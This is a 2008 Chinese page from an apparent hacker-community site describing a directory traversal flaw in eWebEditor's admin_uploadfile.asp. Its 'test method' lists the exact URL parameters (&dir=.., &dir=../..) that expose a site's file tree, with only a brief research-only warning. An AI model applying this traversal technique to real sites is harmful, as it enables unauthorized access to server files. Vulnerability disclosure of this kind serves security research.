返回QQ黑客基地首页
【免费资源】 | 免费空间 | 免费域名 | 免费硬盘 | 免费帐号 | 免费代理 | 免费博客 | 免费赚钱 | 免费电影 | 免费小说 | 搞笑短信 | 个性签名 | 网页颜色 | MD5查询
您现在的位置： QQ黑客基地 >> 黑客学院 >> 脚本黑客 >> 黑客学院正文
eWebEditor遍历路径漏洞
作者：admin2    黑客学院来源：本站原创    点击数：    更新时间：2008-1-17 
   

eWebEditor是一个所见即所得的在线编辑器。顾名思义，就是能在网络上使用所见即所得的编辑方式进行编辑图文并茂的文章、新闻、讨论贴、通告、记事等多种文字处理应用。
ewebeditor/admin_uploadfile.asp
过滤不严，造成遍历路径漏洞
<* 参考:http://www.sebug.net,http://www.ewebeditor.net/ *>
测试方法:
[警 告]以下程序(方法)可能带有攻击性,仅供安全研究与教学之用.风险自负!
ewebeditor/admin_uploadfile.asp?id=14
在id=14后面添加&dir=..
再加 &dir=../..
&dir=http://www.****.com/../.. 看到整个网站文件了
建议:暂无http://www.ewebeditor.net/

 
  • 上一个黑客学院：

  • 下一个黑客学院： 没有了
    		•
       

    赞助广告
     

    最新更新文章
     
    热门推荐文章
  • 此栏目下没有热点推荐黑客学院
    •  
     
    关于我们 联系我们 招聘信息 加入会员 诚征代理 广告服务 欢迎投稿 友情链接 网站地图
    7X24咨询电话：13279515908 投诉电话：+86-029-38118822
    客服QQ：36362 售后QQ：244163 技术QQ：250366708
    Copyright ©2008版权没有-任意抄袭-确保完整
    工商营业执照号码：622701198410144516
    陇ICP备06000402号 
    [设为首页]·[加入收藏]

    a